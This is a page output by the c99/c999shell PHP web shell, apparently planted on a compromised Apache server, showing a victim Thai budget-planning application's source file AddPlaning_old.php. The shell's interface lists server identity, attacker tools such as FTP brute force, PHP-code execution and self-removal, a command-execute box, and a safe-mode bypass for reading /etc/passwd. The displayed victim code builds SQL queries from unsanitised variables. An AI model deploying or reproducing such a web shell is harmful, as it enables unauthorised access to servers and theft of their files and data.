!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/person/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AddPlaning_old.php (23.08 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../include/Function.php" );

        
/**  Create Database Object  */
        
$dbObj = new DBConn;

        
$Username $valid_user;

        
/**  Config Table for This Page  */
        
$myTable "project_plan";
        
$myTable2 "faculty_tb";
        
$myTable3 "project_mission";
        
//===  salary_repot_tb
        
$query " SELECT *  FROM $myTable3 WHERE  Budget_Year='$Budget_Year'  ";
        
$result $dbObj->execQuery($query);
        
$rs1 $dbObj->fetchArray($result);
       
        
        
    } 
# else
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<script language="javascript">
function checkData() {
var formObj = document.myForm;
    if( (formObj.Orderlist.value == "" ) && (formObj.Project_plan.value == "" ) ) { alert("กรุณากรอกข้อมูลให้ครบด้วยค่ะ" ); formObj.Orderlist.style.backgroundColor='#F1F9FC'; formObj.Orderlist.focus(); return false; }
    else if(formObj.Orderlist.value == "" ) { alert("กรุณากรอก รหัสแผน"); formObj.Orderlist.style.backgroundColor='#F1F9FC'; formObj.Orderlist.focus(); return false;} 
    else if(formObj.Project_plan.value == "" ) { alert("กรุณากรอก รายละเอียดแผนงาน/โครงการ (ย่อย)"); formObj.Project_plan.style.backgroundColor='#F1F9FC'; formObj.Project_plan.focus(); return false;} 
    else return true ;
}
</script>
<title>ข้อมูลแผนดำเนินงานและรายงาน : ข้อมูลแผนดำเนินการ รายปีงบประมาณ - เพิ่มข้อมูลแผน/โครงการรดำเนินงาน (ย่อย)</title>
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
    
include("../templates/incHeader.php");
?>
<table width="1003" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="203" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include("./_incMainMenu.php");?></td>
    <td width="800" align="center" valign="top" style="padding:10px 0px 5px 10px"><fieldset><table width="780" border="0" cellspacing="0" cellpadding="0">
      <form id="myForm" name="myForm" method="post" action="InsertMission.php" onSubmit="return checkData();">
      <tr>
        <td height="5"></td>
      </tr>
      <tr>
        <td height="30" background="../images/background/bg-head-topic-w780.gif" class="PADDING-LEFT-10"><strong><a href="index.php">หน้าหลัก</a></strong> <strong>&raquo; <a href="PlaningByYear.php?Faculty_code=<?=$Faculty_code?>">แผนปฏิบัติการรายปี งปม</a> &raquo; <span class="NOTE">เพิ่มข้อมูลโครงการ/กิจกรรม </span></strong></td>
      </tr>
      <tr>
        <td><table width="99%" border="0" align="center" cellpadding="0" cellspacing="0">
          <tr>
            <td width="50%" class="PADDING-TOP-10 PADDING-BOTTOM-10"><img src="../images/icons/arrow-circle-225-left.png" width="16" height="16" border="0" align="absmiddle" /> <a href="javascript:;" onclick="window.history.back();"><strong>&lsaquo; ย้อนกลับ</strong></a></td>
            <td width="50%" align="right" valign="bottom" class="PADDING-TOP-10 PADDING-BOTTOM-5"><span class="TEXT-ORANGE9">&nbsp;</span></td>
          </tr>
        </table></td>
      </tr>
      <tr>
        <td height="350" align="center" valign="top"><table width="99%" border="0" align="center" cellpadding="0" cellspacing="3" bgcolor="#F8F8F8" style="border:1px solid #F0F0F0">
          <tr>
            <td colspan="3" height="5" bgcolor="#FFFFFF"></td>
          </tr>
          <tr>
            <td width="17%" height="25" align="right" bgcolor="#FFFFFF">รหัสหน่วยงาน</td>
            <td width="1%" bgcolor="#FFFFFF">&nbsp;</td>
            <td width="82%" bgcolor="#FFFFFF"><select name="Faculty_code" id="Faculty_code">
            <?php
            $strSQL 
" SELECT *  FROM  $myTable2  Where   Faculty_code='$Faculty_code'   and  FacultyStatus ='Y'    ";
            
$result1 $dbObj->execQuery($strSQL);
            while( 
$rs1 $dbObj->fetchArray($result1) ) {
            
?>
                <option value="<?=$rs1['Faculty_code'];?>" ><?=$rs1['Faculty_name'];?></option>
            <?php
            
# while
            
?>
            </select></td>
          </tr>
          <tr>
            <td height="25" align="right" bgcolor="#FFFFFF">แผนปฏิบัติตามพัธกิจ</a></td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td bgcolor="#FFFFFF"><select name="subId" id="subId">
              <?php
            $strSQL 
" SELECT *  FROM project_submission ps, project_mission pm  Where   pm.Budget_Year='$Budget_Year'  and  pm.missId=ps.missId  ";
            
$result4 $dbObj->execQuery($strSQL);
            while( 
$rs4 $dbObj->fetchArray($result4) ) {
            
?>
              <option value="<?=$rs4['subId'];?>" >
                <?=$rs4['sub_Orderlist'];?>
                :: &nbsp;
  <?=$rs4['submission_plan'];?>
                </option>
              <?php
            
# while
            
?>
            </select></td>
          </tr>
          <tr>
            <td height="25" align="right" bgcolor="#FFFFFF"><span class="TEXT-RED10"><sup>*</sup></span> ปีงบประมาณ</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td bgcolor="#FFFFFF"><input name="Budget_Year1" type="text" disabled="disabled" id="Budget_Year1" value="<?php echo $rs['Budget_Year']; ?>" size="3" maxlength="4" />
* ไม่ต้องกรอกข้อมูลโปรแกรมจะคำนวณให้</td>
          </tr>
          <tr>
            <td height="25" align="right" bgcolor="#FFFFFF"><span class="TEXT-RED10"><sup>*</sup></span> ปีการศึกษา</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td bgcolor="#FFFFFF"><input name="Budget_Year2" type="text" disabled="disabled" id="Budget_Year2" value="<?php echo $rs['Budget_Year']; ?>" size="3" maxlength="4" />
* ไม่ต้องกรอกข้อมูลโปรแกรมจะคำนวณให้</td>
          </tr>
          <tr>
            <td height="25" align="right" bgcolor="#FFFFFF"><span class="TEXT-RED10"><sup>*</sup></span> รหัสแผน</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td bgcolor="#FFFFFF"><label>
              <input name="Orderlist" type="text" id="Orderlist" value="<?php echo $rs['Orderlist']; ?>" size="8" />
              </label></td>
          </tr>
          <tr>
            <td align="right" valign="top" bgcolor="#FFFFFF">ลักษณะของแผน</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td bgcolor="#FFFFFF"><input name="codeId" type="radio" value="1"   />
              แผนยุทธ์ศาสตร์
              <input name="codeId" type="radio" value="2"   />
              แผนงานประจำ</td>
          </tr>
          <tr>
            <td colspan="3" align="left" valign="top" bgcolor="#FFFFFF" >&nbsp;&nbsp;&nbsp;&nbsp;รายละเอียดแผนงาน :
              <input name="plId" type="radio" value="1"/>
              โครงการ /<input name="plId" type="radio" value="2"/>กิจกรรม</td>
          </tr>
          <tr>
            <td align="right" valign="top" bgcolor="#FFFFFF" style="padding-top:3px;">&nbsp;</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td bgcolor="#FFFFFF" style="padding-top:5px;"><textarea name="Project_plan" cols="75" rows="3" class="input" id="Project_plan" ></textarea>
              <script>QBPATH='../editor'; VISUAL=1; SECURE=0;</script>
              <script src='../editor/quickB.js'></script> 
              <script src='../editor/tabedit.js'></script>            </td>
          </tr>
          <tr>
            <td align="right" valign="top" bgcolor="#FFFFFF" style="padding-top:3px;">วัตถุประสงค์</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td bgcolor="#FFFFFF" style="padding-top:5px;">&nbsp;</td>
          </tr>
          <tr>
            <td align="right" valign="top" bgcolor="#FFFFFF" style="padding-top:3px;">&nbsp;</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td bgcolor="#FFFFFF" style="padding-top:5px;"><textarea name="Objective" cols="75" rows="4" class="input" id="Objective" ><?php echo htmlspecialchars_decodenl2br$rs['Orderlist_2'] ) ); ?></textarea>
             <script>QBPATH='../editor'; VISUAL=1; SECURE=0;</script>
              <script src='../editor/quickB.js'></script> 
              <script src='../editor/tabedit.js'></script>            </td>
          </tr>
          <tr>
            <td align="right" valign="top" bgcolor="#FFFFFF" style="padding-top:3px;">ตัวชี้วัดความสำเร็จ</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td bgcolor="#FFFFFF" style="padding-top:5px;">&nbsp;</td>
          </tr>
          <tr>
            <td align="right" valign="top" bgcolor="#FFFFFF" style="padding-top:3px;">&nbsp;</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td bgcolor="#FFFFFF" style="padding-top:5px;"><textarea name="Indsuccess" cols="75" rows="4" class="input" id="Indicators of success" ><?php echo htmlspecialchars_decodenl2br$rs['Project_name'] ) ); ?></textarea>
             <script>QBPATH='../editor'; VISUAL=1; SECURE=0;</script>
              <script src='../editor/quickB.js'></script> 
              <script src='../editor/tabedit.js'></script>            </td>
          </tr>
          <tr>
            <td align="right" valign="top" bgcolor="#FFFFFF" style="padding-top:3px;">วิธีการดำเนินงาน</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td bgcolor="#FFFFFF" style="padding-top:5px;">&nbsp;</td>
          </tr>
          <tr>
            <td align="right" valign="top" bgcolor="#FFFFFF" style="padding-top:3px;">&nbsp;</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td bgcolor="#FFFFFF" style="padding-top:5px;"><textarea name="Operation" cols="75" rows="4" class="input" id="Operation" ><?php echo htmlspecialchars_decodenl2br$rs['Project_rep'] ) ); ?></textarea>
             <script>QBPATH='../editor'; VISUAL=1; SECURE=0;</script>
              <script src='../editor/quickB.js'></script> 
              <script src='../editor/tabedit.js'></script>            </td>
          </tr>
          <tr>
            <td align="right" valign="top" bgcolor="#FFFFFF" style="padding-top:3px;">กลุ่มเป้าหมาย</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td bgcolor="#FFFFFF" style="padding-top:5px;">&nbsp;</td>
          </tr>
          <tr>
            <td align="right" valign="top" bgcolor="#FFFFFF" style="padding-top:3px;">&nbsp;</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td bgcolor="#FFFFFF" style="padding-top:5px;"><textarea name="TargetGroup" cols="75" rows="4" class="input" id="TargetGroup" ></textarea>
             <script>QBPATH='../editor'; VISUAL=1; SECURE=0;</script>
              <script src='../editor/quickB.js'></script> 
              <script src='../editor/tabedit.js'></script>            </td>
          </tr>
          <tr>
            <td align="right" valign="top" bgcolor="#FFFFFF" style="padding-top:3px;">ผลที่คาดว่าจะได้รับ</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td bgcolor="#FFFFFF" style="padding-top:5px;">&nbsp;</td>
          </tr>
          <tr>
            <td align="right" valign="top" bgcolor="#FFFFFF" style="padding-top:3px;">&nbsp;</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td bgcolor="#FFFFFF" style="padding-top:5px;"><textarea name="resuExpected" cols="75" rows="4" class="input" id="resuExpected" ><?php echo htmlspecialchars_decodenl2br$rs['Period_1'] ) ); ?></textarea>
              <script>QBPATH='../editor'; VISUAL=1; SECURE=0;</script>
              <script src='../editor/quickB.js'></script> 
              <script src='../editor/tabedit.js'></script></td>
          </tr>
          <tr>
            <td align="right" bgcolor="#FFFFFF" style="padding-top:10px;">&nbsp;</td>
            <td align="center" bgcolor="#FFFFFF">&nbsp;</td>
            <td height="25" align="left" bgcolor="#FFFFFF" >&nbsp;</td>
          </tr>
          <tr>
            <td align="right" bgcolor="#FFFFFF" style="padding-top:10px;">ผู้รับผิดชอบ</td>
            <td align="center" bgcolor="#FFFFFF">&nbsp;</td>
            <td height="25" align="left" bgcolor="#FFFFFF" ><select name="Teacher_code" id="Teacher_code">
              <option value=""></option>
              <?php
                  $sql1 
" SELECT *  FROM personal_tb  WHERE StatusId='1'  AND  ( Teacher_type='1' OR Teacher_type='2' OR Teacher_type='4' OR Teacher_type='5' OR Teacher_type='6' )  ORDER BY  Teacher_name  ASC ";
                  
$result1 mysql_query($sql1);
                  while( 
$rs1 mysql_fetch_array($result1) ) {
                
?>
              <option value="<?=$rs1['Teacher_code'];?><?php if( $rs1['Teacher_code']==$rs['Teacher_code'] ) echo 'selected';?>>
              <?=$rs1['First_name'];?>
              <?=$rs1['Teacher_name'];?>
  &nbsp;
  <?=$rs1['Teacher_lastname'];?>
              </option>
              <?php
                
# while
                  
mysql_free_result($result1);
              
?>
            </select></td>
          </tr>
          <tr>
            <td align="right" bgcolor="#FFFFFF"><span style="padding-top:10px;">ผู้กำกับติดตาม</span></td>
            <td align="center" bgcolor="#FFFFFF">&nbsp;</td>
            <td height="25" align="left" bgcolor="#FFFFFF"><select name="Teacher_code1" id="Teacher_code1">
              <option value=""></option>
              <?php
                            $sql1 
" SELECT *  FROM personal_tb   WHERE StatusId='1'  AND  ( Teacher_type='1' OR Teacher_type='2' OR Teacher_type='4' OR Teacher_type='5' OR Teacher_type='6' )  ORDER BY   Teacher_name ASC ";
                            
$result1 mysql_query($sql1);
                            while( 
$rs1 mysql_fetch_array($result1) ) {
                                echo
"<option value=\"$rs1[Teacher_code]\" ><b>$rs1[First_name]&nbsp;$rs1[Teacher_name]&nbsp;$rs1[Teacher_lastname]</b></option>\n";
                            }
                            
$dbObj->freeresult($result1);
                       
?>
            </select></td>
          </tr>
          <tr>
            <td height="18" colspan="3" align="left" bgcolor="#FFFFFF">หมายเหตุ: การกำหนดวันที่เริ่มต้นและวันที่สิ้นสุดของโครงการ/กิจกรรมโปรแกรมจะคำนวณปีงบประมาณและปีการศึกษาให้  วันที่ เริ่มต้นของโครงการ   จะต้องเริ่มที่ 1 ต.ค 54 และสิ้นสุดวันที่ตามแผน ถ้าโครงการในแผนอยู่ในปี พศ 2554  ให้เปลี่ยนวันที่สิ้นสุดโครงเป็นปี พ.ศ 2555  เพื่อจะปรับโปรแกรมเป็นปี งปม 2555</td>
            </tr>
          <tr>
            <td align="right" bgcolor="#FFFFFF">วันที่เริ่มต้น</td>
            <td align="center" bgcolor="#FFFFFF">&nbsp;</td>
            <td height="25" align="left" bgcolor="#FFFFFF">
              <select name="mDate" id="mDate" class="select" >
                <? getDay1to31();?>
                </select>
              เดือน
  <select name="mMonth" id="mMonth" class="select" >
    <? getThaiMonth();?>
  </select>
              ปี พ.ศ. </a>
  <select name="mYear" id="mYear">
    <?php
                $curr_year 
date("Y")+543
                
$prev_year $curr_year-2;
                
$next_year $curr_year+3;
                
                for( 
$i=$prev_year$i<=$next_year$i++ ) { 
                
?>
    <option value="<?=$i;?><?php if( $i==$curr_year ) echo 'selected'; elseif( $i==$Budget_Year ) echo 'selected'?>>
      <?=$i;?>
      </option>
    <?php
                
# for
            
?>
  </select>
  </a></td>
          </tr>
          <tr>
            <td align="right" bgcolor="#FFFFFF">วันที่สิ้นสุด</td>
            <td align="center" bgcolor="#FFFFFF">&nbsp;</td>
            <td height="25" align="left" bgcolor="#FFFFFF"><select name="mDate1" id="mDate1" class="select" >
              <? getDay1to31();?>
              </select>
              เดือน
  <select name="mMonth1" id="mMonth1" class="select" >
    <? getThaiMonth();?>
  </select>
              ปี พ.ศ. </a>
  <select name="mYear1" id="mYear1">
    <?php
                $curr_year 
date("Y")+543
                
$prev_year $curr_year-2;
                
$next_year $curr_year+3;
                
                for( 
$i=$prev_year$i<=$next_year$i++ ) { 
                
?>
    <option value="<?=$i;?><?php if( $i==$curr_year ) echo 'selected'; elseif( $i==$Budget_Year ) echo 'selected'?>>
      <?=$i;?>
      </option>
    <?php
                
# for
            
?>
  </select>
  </a>*คำนวณปี งบประมาณ และ ปีการศึกษา</td>
          </tr>
          <tr>
            <td height="25" colspan="3" align="left" bgcolor="#FFFFFF" style="padding-top:13px">&nbsp;&nbsp; &nbsp;<a>จำนวนเงินงบประมาณตั้งตามไตรมาส </a>
            </tr>
          <tr>
            <td align="right" valign="top" bgcolor="#FFFFFF" style="padding-top:13px">&nbsp;</td>
            <td align="center" bgcolor="#FFFFFF">&nbsp;</td>
            <td height="25" align="left" valign="top" bgcolor="#FFFFFF" style="padding-top:8px"><table width="91%" border="0" cellpadding="1" cellspacing="2" bgcolor="#F8F8F8">
              <tr bgcolor="#F8F8F8">
                <td width="13%" align="right" bgcolor="#FFFFFF">มกราคม </td>
                <td width="31%" align="left" bgcolor="#FFFFFF"><input name="January" type="text" id="January" style="text-align:center" size="10" maxlength="10" onkeypress="return checkNumeric();" />
                  ไตรมาส ๒</td>
                <td width="11%" align="right" bgcolor="#FFFFFF">กรฏาคม</td>
                <td width="45%" align="left" bgcolor="#FFFFFF"><input name="July" type="text" id="July" style="text-align:center" size="10" maxlength="10" onkeypress="return checkNumeric();" />
                  ไตรมาส ๔</td>
              </tr>
              <tr bgcolor="#F8F8F8">
                <td align="right" bgcolor="#FFFFFF">กุมภาพันธ์ </td>
                <td align="left" bgcolor="#FFFFFF"><input name="February" type="text" id="February" style="text-align:center" size="10" maxlength="10" onkeypress="return checkNumeric();" />
                  ไตรมาส ๒</td>
                <td align="right" bgcolor="#FFFFFF">สิงหาคม</td>
                <td align="left" bgcolor="#FFFFFF"><input name="Augus" type="text" id="Augus" style="text-align:center" size="10" maxlength="10" onkeypress="return checkNumeric();" />
                  ไตรมาส ๔</td>
              </tr>
              <tr bgcolor="#F8F8F8">
                <td align="right" bgcolor="#FFFFFF">มีนาคม</td>
                <td align="left" bgcolor="#FFFFFF"><input name="March" type="text" id="March" style="text-align:center" size="10" maxlength="10" onkeypress="return checkNumeric();" />
                  ไตรมาส ๒</td>
                <td align="right" bgcolor="#FFFFFF">กันยายน</td>
                <td align="left" bgcolor="#FFFFFF"><input name="September" type="text" id="September" style="text-align:center" size="10" maxlength="10" onkeypress="return checkNumeric();" />
                  ไตรมาส ๔</td>
              </tr>
              <tr bgcolor="#F8F8F8">
                <td align="right" bgcolor="#FFFFFF">เมษายน</td>
                <td align="left" bgcolor="#FFFFFF"><input name="April" type="text" id="April" style="text-align:center" size="10" maxlength="10" onkeypress="return checkNumeric();" />
                  ไตรมาส ๓</td>
                <td align="right" bgcolor="#FFFFFF">ตุลาคม</td>
                <td align="left" bgcolor="#FFFFFF"><input name="October" type="text" id="October" style="text-align:center" size="10" maxlength="10" onkeypress="return checkNumeric();" />
                  ไตรมาส ๑</td>
              </tr>
              <tr bgcolor="#F8F8F8">
                <td align="right" bgcolor="#FFFFFF">พฤษภาคม</td>
                <td align="left" bgcolor="#FFFFFF"><input name="May" type="text" id="May" style="text-align:center" size="10" maxlength="10" onkeypress="return checkNumeric();" />
                  ไตรมาส ๓</td>
                <td align="right" bgcolor="#FFFFFF">พฤศจิกายน</td>
                <td align="left" bgcolor="#FFFFFF"><input name="November" type="text" id="November" style="text-align:center" size="10" maxlength="10" onkeypress="return checkNumeric();" />
                  ไตรมาส ๑</td>
              </tr>
              <tr bgcolor="#F8F8F8">
                <td align="right" bgcolor="#FFFFFF">มิถุนายน</td>
                <td align="left" bgcolor="#FFFFFF"><input name="June" type="text" id="June" style="text-align:center" size="10" maxlength="10" onkeypress="return checkNumeric();" />
                  ไตรมาส ๓</td>
                <td align="right" bgcolor="#FFFFFF">ธันวาคม</td>
                <td align="left" bgcolor="#FFFFFF"><input name="December" type="text" id="December" style="text-align:center" size="10" maxlength="10" onkeypress="return checkNumeric();" />
                  ไตรมาส ๑</td>
              </tr>
            </table></td>
          </tr>
          <tr>
            <td align="center" bgcolor="#FFFFFF">&nbsp;</td>
            <td align="center" bgcolor="#FFFFFF">&nbsp;</td>
            <td height="16" align="left" bgcolor="#FFFFFF">หมายเหตุ * ห้ามใส่ , ในช่องกรอกเงิน</td>
          </tr>
          <tr>
            <td align="right" bgcolor="#FFFFFF">หมวดเงิน</td>
            <td align="center" bgcolor="#FFFFFF">&nbsp;</td>
            <td height="25" align="left" bgcolor="#FFFFFF"><select name="MoneyS_C" id="MoneyS_C">
              <?php
                $strSQL5 
" SELECT * FROM money_source_tb ";
                
$result5$dbObj->execQuery($strSQL5);
                while( 
$rs5 $dbObj->fetchArray($result5) ) {
                    echo 
"<option value=\"$rs5[MoneyS_C]\">$rs5[MoneyS_M]</option>\n";
                } 
            
?>
              </select></td>
          </tr>
          <tr>
            <td align="center">ประเภทหมวดค่าใช้จ่าย</td>
            <td align="center">&nbsp;</td>
            <td height="25" align="left"><select name="MoneyId" id="MoneyId">
              <?php
                     
            $strSQL5 
" SELECT * FROM money_tb ";
            
$result5 $dbObj->execQuery($strSQL5);  
            while( 
$rs5 $dbObj->fetchArray($result5) ) {
                echo 
"<option value=\"$rs5[MoneyId]\" ><b>$rs5[MoneyName]</b></option>\n";
            } 
            
?>
            </select></td>
          </tr>
          <tr>
            <td height="16" align="center" bgcolor="#FFFFFF">&nbsp;</td>
            <td height="16" align="center" bgcolor="#FFFFFF">&nbsp;</td>
            <td height="16" align="left" bgcolor="#FFFFFF">&nbsp;</td>
          </tr>
          <tr>
            <td height="29" align="center" bgcolor="#FFFFFF">&nbsp;</td>
            <td height="29" align="center" bgcolor="#FFFFFF">&nbsp;</td>
            <td height="29" align="center" bgcolor="#FFFFFF"><input type="hidden" name="Project_code" value="<?=$Project_code;?>" />
              <input name="Submit" type="submit" class="WIDTH60 CURSOR-HAND" value="บันทึก" />
              &nbsp;
              <input name="Reset" type="reset" class="WIDTH60 CURSOR-HAND" value="รีเซ็ต" /> &nbsp;
              &nbsp;
              <input name="Button" type="button" value="ยกเลิก" class="WIDTH60 CURSOR-HAND" onclick="location.href='PlaningByYear.php'" /></td>
          </tr>
       </table></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr></form>
    </table>
   </fieldset></td>
  </tr>
</table>
<?php include("../templates/incFooter.php"); ?>
</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0156 ]--